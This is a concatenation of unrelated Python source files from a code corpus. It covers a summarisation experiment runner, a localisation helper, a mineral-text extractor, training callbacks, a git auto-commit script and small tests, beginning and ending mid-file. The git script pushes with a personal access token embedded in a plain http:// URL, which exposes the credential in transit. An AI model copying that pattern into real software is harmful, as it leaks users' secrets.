feedbacks=None):\n log = logging.getLogger(\"SingleTopicRunner\")\n log.info(\"unpickling input %s\" % (picklein))\n\n sf = pickle.load(open(picklein, 'rb'))\n log.info(\"done unpick input\")\n iteration = len(sf.flight_recorder.records) + 1\n labeled_data = feedbacks or []\n\n svm_flag = 0\n sf.oracle = HumanOracle(labeled_data)\n if 'k_size' in labeled_data:\n self.k = labelled_data['k_size']\n if sf.k != self.k:\n log.info(\"recording k_size in continue %f\", sf.k)\n log.info(\"recording sentence size in continue %d\", len(sf.summarizer.sentences))\n sf.k = self.k\n if sf.run_config['rank_subset']:\n sf.summarizer.sentences = sf.summarizer.all_sentences\n sf.summarizer.weights = sf.sentence_ranker.all_concept_weights\n sf.initialize_sentence_ranking()\n\n log.info(\"recording k_size in continue %f\", sf.k)\n log.info(\"recording sentence size in continue %d\", len(sf.summarizer.sentences))\n log.info(\"records before: %s\", len(sf.flight_recorder.records))\n\n log.info(\"running iteration\")\n\n samples = [i[\"concept\"] for i in labeled_data]\n score, summary, summary_sentences, unlabeled_data, exploratory_sentences = sf.single_iteration(iteration,\n samples,\n svm_flag)\n\n sf.__print_iteration_info__(summary_sentences, iteration, summary, score,\n unlabeled_data, exploratory_sentences)\n log.info(\"records after run: %s\", len(sf.flight_recorder.records))\n\n self.write_continue_output_result(sf,\n unlabeled_data,\n picklein,\n pickleout,\n summary,\n summary_sentences,\n exploratory_sentences)\n\n if pickleout is not None:\n self.pickle_write(sf, pickleout, log)\n\n def pickle_write(self, sf, pickleout, log):\n output = open(pickleout, 'wb')\n pickle.dump(sf, output)\n output.close()\n log.info(\"### wrote pickle output to %s\" % (pickleout))\n\n def run(self, topic_path, size=None, summarizer=\"SUME\", summary_idx=None, parser=None,\n oracle=\"accept\", feedback_log=None, propagation=False, max_iteration_count=10, preload_embeddings=None,\n feedbackstore=None, override_results_files=False, num_clusters=8):\n log = logging.getLogger(\"SingleTopicRunner\")\n\n sf = None # just for the sake of being able to run without simulated feedback...\n self.tlog.debug(\"SingleTopicRunner started\")\n # relativize the topic path!\n if type(topic_path) is Topic:\n topic = topic_path\n else:\n if topic_path.startswith(\"/\"):\n relative_path = re.search('^(/)(.*)$', topic_path).group(2)\n else:\n relative_path = topic_path\n\n topic = Topic(path.join(self.iobasedir, path.normpath(relative_path)))\n language = topic.get_language()\n docs = topic.get_docs()\n summaries = topic.get_models()\n\n flightrecorder = get_flightrecorder_from_file(feedback_log)\n preceding_size = len(\n flightrecorder.records) # the number of iterations that happened due to the provided feedback_log\n\n\n embeddings = None\n \"\"\"\n if preload_embeddings:\n embeddings_path = path.normpath(path.join(self.iobasedir, \"embeddings\"))\n embeddings = load_w2v_embeddings(embeddings_path, language, 'active_learning')\n else:\n embeddings = preload_embeddings\n \"\"\"\n\n if summary_idx is not None:\n summaries = [summaries[summary_idx]]\n\n if size is None:\n use_size = topic.get_summary_size()\n else:\n use_size = size\n\n clusters_path = path.join(self.iobasedir, 'clustering', '{}'.format(num_clusters))\n #print(clusters_path)\n #clusters = get_clusters(clusters_path, topic.docs_dir)\n\n if summarizer == \"SUME\":\n sw = SumeWrap(language)\n summary = sw(docs, use_size)\n outputfilecontents = {\"summary\": summary, \"type\": summarizer, \"info_data\": []}\n\n json_content = json.dumps(outputfilecontents)\n if self.out is not None:\n log.info(\"writing output to %s\" % (self.out))\n write_to_file(json_content, self.out)\n write_to_file(json_content,\n path.normpath(path.expanduser(path.join(self.iobasedir, \"tmp\", \"tmp.json\"))))\n elif summarizer == \"UPPER_BOUND\":\n ub_summary = load_ub_summary(language, docs, summaries, use_size, base_dir=self.iobasedir)\n summary = '\\n'.join(ub_summary)\n\n outputfilecontents = {\"summary\": summary, \"type\": summarizer, \"info_data\": []}\n\n json_content = json.dumps(outputfilecontents)\n if self.out is not None:\n log.info(\"writing output to %s\" % (self.out))\n write_to_file(json_content, self.out)\n write_to_file(json_content, path.normpath(path.expanduser(path.join(self.iobasedir, \"tmp\", \"tmp.json\"))))\n elif summarizer == \"PROPAGATION\":\n #UB considering all the summaries\n ub_summary = load_ub_summary(language, docs, summaries, use_size, base_dir=self.iobasedir)\n summary = '\\n'.join(ub_summary)\n ub_scores = self.rouge(summary, summaries, use_size)\n\n log.debug(\"UB scores: R1:%s R2:%s SU4:%s\" % (str(ub_scores[0]), str(ub_scores[1]), str(ub_scores[2])))\n\n ref_summ = random.choice(summaries)\n\n parse_info = []\n #parse_info = topic.get_parse_info(summaries.index(ref_summ))\n\n # initialize the Algorithm.\n run_config = dict()\n run_config['rank_subset'] = True\n run_config['relative_k'] = True\n run_config['dynamic_k'] = False\n for flag in ['adaptive_sampling', 'strategy']:\n run_config[flag] = False\n\n r = 0\n clusters = None\n log.info(\"recording k_size in summarize %f\", self.k)\n #TODO: Added summaries instead of one single summary\n sf = SimulatedFeedback(language, self.rouge, embeddings=None, #TODO: embeddings\n docs=docs, models=summaries,\n summary_length=use_size,\n oracle_type=oracle,\n ub_score=ub_scores, ub_summary=ub_summary,\n parser_type=parser, flightrecorder=flightrecorder,\n feedbackstore=feedbackstore, parse_info=parse_info,\n run_config=run_config, k=self.k, adaptive_window_size=r, clusters=clusters)\n\n if sf.embeddings is None or sf.embeddings == {}:\n embe_var = \"none\",\n else:\n if sf.embeddings.embedding_variant is None:\n embe_var = \"none\"\n else:\n embe_var = sf.embeddings.embedding_variant\n if feedbackstore is None:\n cfg = {\"type\": \"Unconfigured default\"}\n else:\n cfg = feedbackstore.get_config()\n\n rs = []\n for p, t in [ref_summ]:\n rs.append({\n \"name\": os.path.split(p)[1],\n \"text\": t})\n\n run_id_string = \"%s-%s-%s-%s-%s-%s-%s-%s\" % (\n oracle, summarizer, parser, embe_var, topic.get_dataset(), topic.get_name(),\n [item[\"name\"] for item in rs], json.dumps(cfg))\n\n run_id = hashlib.sha224(run_id_string).hexdigest()\n filename = path.join(self.scores_storage_path, \"result-%s.json\" % (run_id))\n\n if (os.path.exists(filename)\n and self.out is None\n and self.override_results_switch is False):\n log.info(\"Skipping run_id '%s' because the result file does already exist. config: %s\" % (\n run_id, run_id_string))\n return\n else:\n log.info(\"Doing %s iterations for run_id '%s'\\n %s\" % (max_iteration_count, run_id, run_id_string))\n write_to_file(\"\", filename)\n\n summary, confirmatory_summary, exploratory_summary = sf.run_full_simulation(\n max_iteration_count=max_iteration_count)\n\n recommendations, recom_sentences = sf.get_recommendations()\n\n derived_records = []\n # construct table-like array of feedbacks per iteration.\n for i, record in enumerate(sf.flight_recorder.records):\n for accept in record.accept:\n derived_records.append({\n \"iteration\": i,\n \"concept\": accept,\n \"value\": \"accept\"\n })\n for reject in record.reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": reject,\n \"value\": \"reject\"\n })\n for implicit_reject in record.implicit_reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": implicit_reject,\n \"value\": \"implicit_reject\"\n })\n\n for item in recommendations:\n derived_records.append({\n \"iteration\": -1,\n \"concept\": item,\n \"value\": \"recommendation\",\n \"weight\": sf.summarizer.weights.get(item, 0.0),\n \"uncertainity\": sf.svm_uncertainity.get(item, -1.0)\n })\n\n result = {\n \"config_run_id\": run_id,\n \"config_oracle_type\": oracle,\n \"config_summarizer_type\": summarizer,\n \"config_parse_type\": str(parser),\n #\"config_wordembeddings\": emb_var,\n \"config_feedbackstore\": sf.feedbackstore.get_config(),\n \"config_feedback_interpretation\": {},\n \"config_concept_recommendation\": {},\n \"dataset\": topic.get_dataset(),\n \"topic\": topic.get_name(),\n \"models\": rs,\n \"model_rougescores\": {\n \"iteration\": -1,\n \"ROUGE-1 R score\": ub_scores[0],\n \"ROUGE-2 R score\": ub_scores[1],\n \"ROUGE-SU* R score\": ub_scores[2],\n \"accepted\": [],\n \"accept_count\": 0,\n \"rejected\": [],\n \"reject_count\": 0,\n \"summary\": ub_summary\n },\n \"result_summary\": summary,\n \"result_rougescores\": sf.log_sir_info_data,\n \"log_feedbacks\": derived_records\n }\n\n r2 = [{\"iteration\": i, \"summary\": sf.log_info_data[i]} for i in\n range(len(sf.flight_recorder.records))]\n log.debug(\n \"records: %s, infos %s, diff: %s\" % (len(sf.flight_recorder.records), len(sf.log_info_data),\n len(sf.flight_recorder.records) - len(sf.log_info_data)))\n\n write_to_file(json.dumps(result), filename)\n log.info(\"Writing results to %s\" % (filename))\n\n df = pd.DataFrame(derived_records)\n filename = path.join(self.scores_storage_path, \"flightrecorder-%s.csv\" % (run_id))\n log.info(\"saving flightrecorder to %s with run_id %s\" % (filename, run_id))\n df.to_csv(filename, encoding=\"UTF-8\")\n\n write_to_file(json.dumps(sf.new_debug_weights_history),\n path.join(self.scores_storage_path, \"weightshistory-%s-%s-%s-%s.json\" % (\n topic.get_dataset(), topic.get_name(), summarizer, run_id)))\n log.info(\"Writing weights history to %s\" % (filename))\n weights_hist = pd.DataFrame(sf.new_debug_weights_history)\n\n filename = path.join(self.scores_storage_path, \"weightshistory-%s.csv\" % (run_id))\n weights_hist.to_csv(filename, encoding=\"UTF-8\")\n\n log.debug(\"----------------------------------------------\")\n log.debug(summary)\n log.debug(sf.log_info_data[-1])\n log.debug(\"----------------------------------------------\")\n if self.pickle_store is not None:\n # Pickle dictionary using protocol 0.\n print('Pickle in file %s' % self.pickle_store)\n self.pickle_write(sf, self.pickle_store, log)\n\n json_content = self.write_summarize_output_json(sf, confirmatory_summary, derived_records, log,\n recom_sentences, result, run_id, summarizer,\n summary, self.pickle_store)\n # write_to_file(json_content, path.normpath(path.expanduser(path.join(self.iobasedir, \"tmp\", \"tmp.json\"))))\n else:\n raise BaseException(\"You should tell which summarizer to use\")\n\n if sf is not None:\n write_details_file([sf.log_info_data], path.join(self.iobasedir, \"tmp\", \"tmp.csv\"))\n self.tlog.debug(\"SingleTopicRunner finished\")\n\n def write_continue_output_result(self,\n sf,\n unlabeled_data=None,\n picklein=None,\n pickleout=None,\n summary=None,\n summary_sentences=None,\n exploratory_sentences=None):\n log = logging.getLogger(\"SingleTopicRunner\")\n if self.out is not None:\n\n derived_records = []\n # construct table-like array of feedbacks per iteration.\n for i, record in enumerate(sf.flight_recorder.records):\n for accept in record.accept:\n derived_records.append({\n \"iteration\": i,\n \"concept\": accept,\n \"value\": \"accept\"\n })\n for reject in record.reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": reject,\n \"value\": \"reject\"\n })\n for implicit_reject in record.implicit_reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": implicit_reject,\n \"value\": \"implicit_reject\"\n })\n\n for item in unlabeled_data:\n if item not in [i.get(\"concept\", \"\") for i in derived_records]:\n derived_records.append({\n \"iteration\": -1,\n \"concept\": item,\n \"value\": \"recommendation\",\n \"weight\": sf.summarizer.weights.get(item, 0.0),\n \"uncertainity\": sf.svm_uncertainity.get(item, -1.0)\n })\n else:\n log.info(\"recommendation included a already labeled instance, '%s'\" % (item))\n\n outputfilecontents = {\n \"picklein\": picklein,\n \"pickleout\": pickleout,\n \"summary\": summary,\n \"confirmatory_summary\": list(summary_sentences),\n \"exploratory_summary\": list(exploratory_sentences),\n \"weights\": sf.summarizer.weights,\n \"fbs_weights\": dict(sf.feedbackstore.get_weights()),\n \"sentence_ids\": list(summary_sentences),\n \"details\": derived_records,\n \"score\": sf.log_sir_info_data\n }\n\n write_to_file(json.dumps(outputfilecontents), self.out)\n log.info(\"writing output to %s\" % (self.out))\n log.info(\"done writing output\")\n\n def write_summarize_output_json(self, sf, confirmatory_summary, derived_records, log, recom_sentences,\n result, run_id, summarizer, summary, pickle_store=None):\n # convert the sentences into a jsonizable structure:\n sents = convert_to_json(sf.summarizer.sentences)\n outputfilecontents = {\n \"picklein\": None,\n \"pickleout\": pickle_store,\n \"summary\": summary,\n \"confirmatory_summary\": list(confirmatory_summary),\n \"exploratory_summary\": list(recom_sentences),\n \"type\": summarizer,\n \"run_id\": run_id,\n \"weights\": sf.summarizer.weights,\n \"fbs_weights\": dict(sf.feedbackstore.get_weights()),\n \"details\": derived_records,\n \"sentences\": list(sents),\n \"full\": result,\n \"score\": sf.log_sir_info_data\n }\n json_content = json.dumps(outputfilecontents)\n if self.out is not None:\n log.info(\"writing output to %s\" % (self.out))\n write_to_file(json_content, self.out)\n return json_content\n", "source": "UKPLab/vldb2018-sherlock", "license": "Apache-2.0"} {"text": "\"\"\"\nProvides a series of function on top of gettext to retrieve a particular\ntranslations (used by both the core apps and the plugins).\n\"\"\"\nimport logging\nimport re\nimport gettext\nimport os\nimport sys\n\nfrom PyQt5 import QtCore\n\nfrom pyqode.core.api.utils import memoized\n\n\n@memoized\ndef get_available_locales():\n \"\"\"\n Gets the list of available locales (the one for which a get_translation is\n available)\n \"\"\"\n ret_val = set()\n ret_val.add('default')\n locale_dir = os.path.join(sys.prefix, 'share', 'locale')\n try:\n locales = os.listdir(locale_dir)\n except OSError as e: # pragma: no cover\n _logger().warn('failed to list translations files of directory %r: %s',\n locale_dir, e)\n else:\n for d in locales:\n mo_path = os.path.join(locale_dir, d, 'LC_MESSAGES', 'hackedit.mo')\n if os.path.exists(mo_path):\n ret_val.add(d)\n return ret_val\n\n\ndef get_locale():\n \"\"\"\n Gets the current locale defined in the application settings\n \"\"\"\n default = 'default'\n return QtCore.QSettings().value('env/locale', default)\n\n\ndef set_locale(locale):\n \"\"\"\n Sets the application locale\n \"\"\"\n QtCore.QSettings().setValue('env/locale', locale)\n\n\ndef get_translation(package='hackedit'):\n \"\"\"\n Gets the get_translation function for the language selected by the user.\n\n Use this function at the top of each of your plugin modules::\n\n from hackedit.api.gettext import get_translation\n _ = get_translation(package='hackedit-python')\n _('translatable string')\n\n :param package: Name of the package to get the get_translation for...\n\n :returns: None if package == 'hackedit' otherwise return the\n get_translation function usable directly in your module.\n \"\"\"\n locale_dir = os.path.join(sys.prefix, 'share', 'locale')\n if not os.path.exists(locale_dir): # pragma: no cover\n locale_dir = os.path.join(\n sys.prefix, 'local', 'share', 'locale')\n try:\n t = gettext.translation(package, localedir=locale_dir,\n languages=[get_locale()])\n if package == 'hackedit':\n # we can install globally\n t.install()\n return t.gettext\n else:\n return t.gettext\n except OSError:\n t = gettext.NullTranslations()\n if package == 'hackedit':\n # we can install globally\n t.install()\n return t.gettext\n\n\ndef hackedit_gettext_hook(ui_script_path): # pragma: no cover\n \"\"\"\n pyqt-distutils hook that will replace Qt translate tools by calls to\n ``hackedit.api.gettext.translation``.\n \"\"\"\n from pyqt_distutils.config import Config\n\n with open(ui_script_path, 'r') as fin:\n content = fin.read()\n\n # replace ``_translate(\"context\", `` by ``_(``\n content = re.sub(r'_translate\\(\".*\",\\s', '_(', content)\n\n # inject the _ function\n cfg = Config()\n cfg.load()\n package_name = cfg.package_name\n content = content.replace(\n ' _translate = QtCore.QCoreApplication.translate',\n ' from hackedit.api.gettext import get_translation\\n'\n ' _ = get_translation(package=\"%s\")' % package_name)\n\n with open(ui_script_path, 'w') as fout:\n fout.write(content)\n\n\ndef _logger():\n return logging.getLogger(__name__)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import division\n\nimport yaml\nimport json\nimport urllib2\nimport csv\nimport re\n\nwith open('./config', 'r') as config_yaml:\n config = yaml.load(config_yaml)\n\ndef update_output(docid, sentid, minerals, ages, locations, lemma):\n output.append({\n \"docid\": docid,\n \"sentid\": sentid,\n \"minerals\": minerals,\n \"ages\": ages,\n \"locations\": locations,\n \"lemma\": lemma\n })\n\n\ndef filter_output(item):\n if item['docid'] in acknowledgements.keys() and item['sentid'] < acknowledgements[item['docid']]:\n return True\n elif item['docid'] in refs.keys() and item['sentid'] < refs[item['docid']]:\n return True\n else:\n return False\n\n# Format output before writing to CSV\ndef formatted(item):\n return {\n 'docid': item['docid'],\n 'sentid': item['sentid'],\n 'minerals': ';'.join(item['minerals']),\n 'ages': ';'.join(item['ages']),\n 'locations': ';'.join(item['locations']),\n 'lemma': item['lemma']\n }\n\ndef formatRef(ref, total):\n return {\n 'docid': ref['id'].encode('utf-8'),\n 'title': ref['title'].encode('utf-8') if ref['title'] is not None else \"\",\n 'volume': ref['volume'].encode('utf-8'),\n 'journal': ref['journal'].encode('utf-8'),\n 'link': ';'.join([l['url'] for l in ref['link'] if l['type'] != 'filepath']).encode('utf-8'),\n 'publisher': ref['publisher'].encode('utf-8'),\n 'author': ';'.join([a['name'] for a in ref['author']]).encode('utf-8'),\n 'pages': ref['pages'].encode('utf-8'),\n 'number': ref['number'].encode('utf-8'),\n 'identifier': ';'.join(i['id'] for i in ref['identifier']).encode('utf-8') if 'identifier' in ref else '',\n 'impact': total / len(output)\n }\n\n# Set up lists of terms we are interested in\nminerallist = config['terms']\nagelist = ['ma', 'age', 'dating', 'ka', 'ga', 'kyr', 'myr', 'year', 'geochronology', 'm.a.', 'k.a.', 'date']\n\n# list of articles having age formation\narticleID = []\n\n# Titles of articles\ntitles = {}\n\n# dictionary of age-containing article length before reference\n# Keys are docids and values are sentids\n## note refs has fewer items than articleID since articleID counts paper that has age information in reference part\nrefs = {}\nacknowledgements = {}\n\noutput = []\n\n# Open the input file\n'''\n0 - docid\n1 - sentid\n2 - wordidx\n3 - words\n4 - poses\n5 - ners\n6 - lemmas\n7 - dep_paths\n'''\nwith open('./input/co_nlp352.txt') as textlines:\n # Look for lines containing Cr mineral names, location, or age information\n for line in textlines.readlines():\n # Clean up the input\n sline = line.lower().split('\\t')\n tL = re.sub('[{}\"]', '', sline[6])\n tLL = re.sub(r',,,', ',;,', tL)\n # create an array of lemmas\n lemmas = tLL.split(',') #get rid of {}\",,, in the raw texts\n\n # If there is an age term in the lemmas and we haven't accounted for this article yet, record it\n if len(list(set(agelist).intersection(set(lemmas)))) > 0 and sline[0] not in articleID:\n articleID.append(sline[0])\n\n # If there is a mention of references in the lemmas and we have seen this docid, update refs with the docid and sentid\n if ('reference' in lemmas or 'referenc' in lemmas or 'references' in lemmas) and sline[0] in articleID:\n refs.update({ sline[0]: int(sline[1]) })\n\n # If there is a mention of acknowledgements in the lemmas and we have seen this docid, update acknowledgements with the docid and sentid\n if ('acknowledgement' in lemmas or\n 'acknowledgements' in lemmas or\n 'acknowledge' in lemmas or\n 'thank' in lemmas or\n 'thanks' in lemmas) and sline[0] in articleID:\n acknowledgements.update({ sline[0]: int(sline[1]) })\n\n\n # record the title of all articles if this is the first sentence in an article\n if sline[1] == '1':\n titles.update({ sline[0]: tLL })\n\n # Clean up the ners\n ners = re.sub('[{}\"]', '', sline[5]).split(',')\n\n # Get an array that is the interesction of minerals and lemmas\n minerals_found = list(set(minerallist).intersection(set(lemmas)))\n\n # Store ages found\n ages_found = []\n\n # Store location words found\n locations_found = []\n\n # Record all words tagged as 'LOCATION' in ners\n if 'location' in ners:\n for pos in [i for i,j in enumerate(ners) if j == 'location']:\n locations_found.append(lemmas[pos])\n\n # Find and record dates using the 'NUMBER' tag in ners\n if 'number' in ners:\n for pos in [i for i,j in enumerate(ners) if j == 'number']:\n if pos < len(lemmas) - 1 and lemmas[pos + 1] in agelist:\n if pos > 0 and lemmas[pos - 1] == '\u00b1':\n ages_found.append(lemmas[pos - 2] + lemmas[pos - 1] + lemmas[pos] + lemmas[pos + 1])\n else:\n ages_found.append(lemmas[pos] + lemmas[pos + 1])\n\n # If we found anything, record it\n if len(minerals_found) > 0 or len(ages_found) > 0 or len(locations_found) > 0:\n update_output(sline[0], int(sline[1]), minerals_found, ages_found, locations_found, ' '.join(lemmas))\n\n\n\n# Filter the output in place\noutput[:] = [formatted(item) for item in output if filter_output(item)]\n\n# Write the output to disk\nwith open('./output/results.csv', 'w') as out:\n writer = csv.DictWriter(out, fieldnames=['docid', 'sentid', 'minerals','ages', 'locations', 'lemma'])\n writer.writeheader()\n writer.writerows(output)\n\n# Find unique documents\nuniqueDocs = dict(set([(item['docid'], 0) for item in output]))\nfor item in output:\n uniqueDocs[item['docid']] += 1\n\noutputRefs = []\n\n# Find the metadata for each\nfor docid in uniqueDocs.keys():\n response = json.load(urllib2.urlopen('https://geodeepdive.org/api/v1/articles?id=' + docid))\n outputRefs.append(response['success']['data'][0])\n\noutputRefs = [formatRef(ref, uniqueDocs[ref['id']]) for ref in outputRefs]\n\n\nwith open('./output/unique_docs.csv', 'w') as out2:\n writer = csv.DictWriter(out2, fieldnames=['docid', 'title', 'author', 'journal', 'publisher', 'identifier', 'pages', 'number', 'volume', 'link', 'impact'])\n writer.writeheader()\n writer.writerows(outputRefs)\n", "source": "ukliu/CrMineral", "license": "CC-BY-4.0"} {"text": "\"\"\"Custom callbacks used during training.\"\"\"\n\nfrom tensorflow.keras.callbacks import Callback\nimport matplotlib.pyplot as plt\n\n\nclass PlotLosses(Callback):\n \"\"\"Simple callback for plotting losses to a file.\"\"\"\n\n def __init__(self, output_folder, model_name):\n self.output_folder = output_folder\n self.model_name = model_name\n\n def on_train_begin(self, logs={}):\n self.i = 0\n self.x = []\n self.losses = []\n self.val_losses = []\n self.logs = []\n\n def on_epoch_end(self, epoch, logs={}):\n self.logs.append(logs)\n self.x.append(self.i)\n self.losses.append(logs.get(\"loss\"))\n self.val_losses.append(logs.get(\"val_loss\"))\n self.i += 1\n\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.plot(self.x, self.losses, label=\"loss\")\n ax.plot(self.x, self.val_losses, label=\"val_loss\")\n ax.legend()\n fig.savefig(str(self.output_folder / f\"{self.model_name}_loss.png\"))\n plt.close(fig)\n", "source": "sorenlind/transferit", "license": "MIT"} {"text": "import sys \nimport argparse\nimport subprocess\nimport os\nfrom datetime import datetime\nimport random\nusername=\"sanchayana2007\"\ntoken= os.environ.get(\"GIT_TOKEN\")\n\n\n#Random int to create the value \nj= random.randint(0,1)\n################ RAndom file creator for chein in ##################\nif j:\n if os.path.isfile(\"./tete\"):\n output = subprocess.check_output(\"rm tete\",shell = True, stderr=subprocess.STDOUT)\n else:\n output = subprocess.check_output(\"touch tete\",shell = True, stderr=subprocess.STDOUT)\nelse:\n if os.path.isfile(\"./tete\"):\n output = subprocess.check_output(\"rm tete\",shell = True, stderr=subprocess.STDOUT)\n################ RAndom file creator for chein in ##################\n\n\ncomment = \"checking changes for \" + os.environ.get(\"USERNAME\") + \" \"+ datetime.now().strftime(\"%b %d, %Y\") \nprint(comment)\n\n\nif os.path.isdir(\"./.git\"):\n\n print(\"The Folder is Already Intilaised with Git no need to init it \")\n\n \n CMD = \" git status \"\n print(\"################### GIT STATUS ######################\") \n print(\"# In ./git/objects compare the staged files the cache#\") \n print(\"################### #################################\") \n \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n k= [ print(j) for i,j in enumerate(output.decode('utf-8').split('\\n')) if i < 2 ]\n \n\n CMD = \" git add --all \"\n print(\"################### GIT ADD in Staging Area ###################\") \n print(\"# In ./git/index is the Staged changes are kept as binary #\") \n print(\"################### ###########################################\") \n \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n\n print(output.decode('utf-8'))\n \n\n CMD = \" git commit -m \" + \"\\\"\" + comment + \"\\\"\"\n print(\"################### GIT COMMIT in LOcal Repo ###################\") \n print(\"# Local RFepository ./git/ #\") \n print(\"################### ##############################################\") \n \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output.decode('utf-8'))\n CMD = \" git remote show origin \" \n \n print(\"############ GIT show Branch Names Remote and Local #########\") \n print(\"# It Shows the Name of the Barnch #\") \n print(\"################## ###########################################\") \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output.decode('utf-8'))\n\n \n\n CMD = \"cat .git/refs/heads/master\" \n print(\"################### GIT HEAD pointer ###################\") \n print(\"# It Shows the Head id where the checkin will be done #\") \n print(\"############# ###########################################\") \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output.decode('utf-8'))\n \n\n if username and token:\n CMD = \"git push http://\" + username + \":\"+ token + \"@github.com/sanchayana2007/sanchayana2007.github.io.git\"\n\n\n try :\n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output)\n \n else:\n print(\"Check the Useanme or Tone in Enviroment is not set\")\n \nelse:\n print(\"Git Folder is not present.. Run from the main folder Exiting\")\n", "source": "sanchayana2007/sanchayana2007.github.io", "license": "MIT"} {"text": "# group_regularization.py\nimport torch\nimport transformers\n\n\ndef group_lasso(model: torch.nn.Module, pruning_method: str):\n '''\n L1 regularization of groups of weights in weight matrix to encourage sparsity \\\\\n row=True regularizes rows, row=False regularizes cols\\\\\n ignores bias, layernorm, embedding params\n '''\n reg, layer_count = 0.0, 0.0\n filter_out = [\"bias\", \"LayerNorm\", \"embed\"]\n group_dim=1\n if pruning_method == 'col':\n group_dim=0\n for name, param in model.named_parameters():\n if not any(key in name for key in filter_out): # only fc weight matrices\n # if args.pruning_metho == \"group_lasso\": # sum of L2 norms of rows of matrix\n norms = torch.norm(param, dim=group_dim)\n reg += torch.sum(norms) # / norms.numel() # /numel() reduces magnitude of the norm to a manageable size but it scales rows differently depending on layer size. Might want to remove this if bigger rows should have more weight b/c they cause more latency\n layer_count += 1.0\n return reg / layer_count\n\n\nif __name__==\"__main__\":\n model = transformers.AutoModel.from_pretrained('bert-base-uncased')\n print(group_lasso(model, True))\n# for name, param in model.named_parameters():\n# filter_out = [\"bias\", \"LayerNorm\"]\n# if not any(key in name for key in filter_out): # only fully connected layers\n# print(name)\n# print(param.shape)\n ", "source": "AlexHoffman9/transformers", "license": "Apache-2.0"} {"text": "import json\n\ndef convert(path:str):\n with open(path, 'r') as f:\n data = json.load(f)\n output_path = path.replace('convert', 'triplets').replace('json', 'txt')\n with open(output_path, 'w') as f:\n for ins in data:\n temp_ins = []\n for a, o in zip(ins['aspects'], ins['opinions']):\n temp_ins.append(([x for x in range(a['from'], a['to'])], [x for x in range(o['from'], o['to'])], a['polarity']))\n f.write(ins['raw_words'] + '####' + str(temp_ins) + '\\n')\n return\n\nif __name__ == '__main__':\n convert('14lap/train_convert.json')\n convert('14lap/test_convert.json')\n convert('14res/train_convert.json')\n convert('14res/test_convert.json')\n convert('15res/train_convert.json')\n convert('15res/test_convert.json')\n convert('16res/train_convert.json')\n convert('16res/test_convert.json')", "source": "MrZixi/SentiPrompt", "license": "MIT"} {"text": "from test_fena.test_common import test_cmd\n\ndef test_effects():\n test_cmd(\"effect @a - *\", \"effect clear @a\")\n test_cmd(\"effect @a - saturation\", \"effect clear @a minecraft:saturation\")\n test_cmd(\"effect @a + saturation\", \"effect give @a minecraft:saturation 2 0 true\")\n test_cmd(\"effect @a + saturation 1000000\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + saturation 1000000 0\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + saturation 1000000 1\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + saturation 1000000 1 true\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + saturation 1000000 1 false\", \"effect give @a minecraft:saturation 1000000 1 false\")\n\n test_cmd(\"effect @a - minecraft:*\", expect_error=True)\n test_cmd(\"effect @a - minecraft:saturation\", \"effect clear @a minecraft:saturation\")\n test_cmd(\"effect @a + minecraft:saturation\", \"effect give @a minecraft:saturation 2 0 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 0\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1 true\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1 false\", \"effect give @a minecraft:saturation 1000000 1 false\")\n\n test_cmd(\"effect @a - saturation extra_arg\", expect_error=True)\n test_cmd(\"effect @a - not_an_effect\", expect_error=True)\n test_cmd(\"effect @a + saturation -25\", expect_error=True)\n test_cmd(\"effect @a + saturation 25 -1\", expect_error=True)\n test_cmd(\"effect @a + saturation 1000000 1 not_bool\", expect_error=True)\n test_cmd(\"effect @a = invalid_operator\", expect_error=True)\n", "source": "Aquafina-water-bottle/Fena", "license": "MIT"} {"text": "import json\nfrom pathlib import Path\nfrom PIL import Image, UnidentifiedImageError\nfrom tempfile import TemporaryDirectory\nfrom spot_check_files.basics import CSVChecker, ImageChecker,\\\n JSONChecker, PlaintextChecker, XMLChecker\nfrom spot_check_files.checker import CheckRequest\n\n\n_TEST_CSV = \"\"\"x,x^2,x cubed in words,x^3\n1,1,one,1\n2,4,eight,8\n3,9,twenty-seven,27\n4,16,sixteen,64\n5,25,one hundred and twenty-five,125\n\"\"\"\n\n\n_TEST_JSON = \"\"\"{\"hello\": {\n \"nicely_formatted\": false, \"valid\": true,\n \"array\": [1, 2, 3, 4, 5, 6, 7, 8, 9,\n \"This is a multiline string.\\\\nHuzzah.\"]\n}\n}\"\"\"\n\n\n_TEST_XML = \"\"\"Hello there\nHow are you?I am\nnot dead (at time of writing).\"\"\"\n\n\n_IMGDIR = Path('tmp')\n\n\ndef setup_module(module):\n 